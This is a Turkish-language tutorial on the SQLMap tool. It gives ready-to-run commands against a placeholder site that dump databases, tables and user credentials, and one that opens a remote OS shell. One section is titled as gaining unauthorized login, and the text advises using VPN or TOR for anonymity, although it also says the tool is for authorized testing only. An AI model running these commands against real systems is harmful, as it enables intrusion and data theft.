SQLMap Kullanımı
SQLMap, web uygulamalarındaki SQL enjeksiyon açıklarını otomatik olarak tespit eden ve sömüren güçlü, açık kaynaklı bir araçtır. Bu rehberde, SQLMap’in nasıl kullanılacağını adım adım anlatacağız.

1. SQLMap Nedir?
SQLMap, SQL enjeksiyon açıklarını bularak veritabanı hakkında bilgi edinmeyi sağlar. Çeşitli saldırı vektörlerini test edebilir, veritabanından veri çekebilir, yetkilendirme işlemleri yapabilir ve hatta sistem üzerinde tam kontrol elde etmeye yardımcı olabilir.
2. SQLMap Nasıl Kurulur?
SQLMap’i kullanmadan önce sisteminize kurmanız gerekmektedir.
Linux/Mac için Kurulum:
sudo apt-get install sqlmap # Debian tabanlı sistemler için
sudo yum install sqlmap # Red Hat tabanlı sistemler için
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
Windows için Kurulum:
- Python’u Python Resmi Sitesi üzerinden indirip kurun.
- SQLMap’i GitHub üzerinden indirin:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev cd sqlmap-dev
- sqlmap.py dosyasını çalıştırarak aracı kullanabilirsiniz:
python sqlmap.py
3. SQLMap ile Temel Kullanım
SQLMap’i çalıştırmak için komut satırında temel bir URL ve hedef belirtmek gerekir.
Basit Test İçin:
python sqlmap.py -u "http://hedefsite.com/page?id=1" --dbs
Açıklama: Bu komut, belirtilen URL’de SQL enjeksiyon olup olmadığını test eder ve veritabanlarını listeler.
Parametreleri Otomatik Algılama:
python sqlmap.py -u "http://hedefsite.com/page?id=1&name=test" --batch
Açıklama: SQLMap, URL içindeki tüm parametreleri analiz ederek otomatik olarak test eder.
4. SQLMap ile Veritabanından Bilgi Çekme
Hedef Web Sitesinin Veritabanlarını Listeleme:
python sqlmap.py -u "http://hedefsite.com/page?id=1" --dbs
Belirli Bir Veritabanındaki Tabloları Görüntüleme:
python sqlmap.py -u "http://hedefsite.com/page?id=1" -D veritabani_adı --tables
Belirli Bir Tablo İçindeki Kolonları Listeleme:
python sqlmap.py -u "http://hedefsite.com/page?id=1" -D veritabani_adı -T tablo_adi --columns
Belirli Bir Kolon İçindeki Verileri Çekme:
python sqlmap.py -u "http://hedefsite.com/page?id=1" -D veritabani_adı -T tablo_adi -C kolon_adi --dump
5. SQLMap ile Kullanıcı ve Yetkilendirme Bilgilerini Çekme
Mevcut Kullanıcıyı Öğrenme:
python sqlmap.py -u "http://hedefsite.com/page?id=1" --current-user
Tüm Kullanıcıları Listeleme:
python sqlmap.py -u "http://hedefsite.com/page?id=1" --users
Veritabanı Yönetici Yetkisi Var mı Kontrol Etme:
python sqlmap.py -u "http://hedefsite.com/page?id=1" --is-dba
6. SQLMap ile Web Sitesine Sızma ve Erişim Sağlama
Shell Erişimi Sağlama:
python sqlmap.py -u "http://hedefsite.com/page?id=1" --os-shell
Bu komut, sistemde uzaktan komut çalıştırmayı mümkün kılabilir.
Web Sitesine Yetkisiz Giriş Yapma:
python sqlmap.py -u "http://hedefsite.com/login.php" --data="username=admin&password=test" --dump
Bu komut, giriş sayfasında SQL enjeksiyonu yaparak giriş bilgilerini sızdırabilir.
7. SQLMap Kullanırken Dikkat Edilmesi Gerekenler
- Yasal Kullanım: SQLMap yalnızca test amaçlı kullanılmalıdır. Yetkisiz saldırılar yasalara aykırıdır.
- DDoS Koruması: Web siteleri genellikle güvenlik duvarları veya saldırı tespit sistemleri (IDS/IPS) ile korunur. SQLMap’in aşırı istek göndermesi hedef sistemi bloke edebilir.
- Anonimlik: SQLMap kullanırken VPN veya TOR gibi gizlilik araçlarını kullanmak önerilir.
- Güncel Versiyon Kullanımı: SQLMap sürekli güncellenen bir araçtır. En son sürüm kullanıldığında daha fazla özellikten faydalanılabilir.
8. Sonuç
SQLMap, SQL enjeksiyonlarını otomatik olarak tespit edip sömürebilen en güçlü araçlardan biridir. Ancak etik hackerlık kurallarına uymak ve bu aracı yalnızca yetkilendirilmiş güvenlik testlerinde kullanmak gerekir. Web sitenizin güvenliğini test etmek ve açıklarını belirlemek için SQLMap’i bilinçli bir şekilde kullanabilirsiniz.
Eğer SQL güvenlik testleri konusunda daha fazla bilgi edinmek isterseniz, “OWASP Top 10” güvenlik tehditlerini inceleyebilir ve penetrasyon testi konusunda kendinizi geliştirebilirsiniz.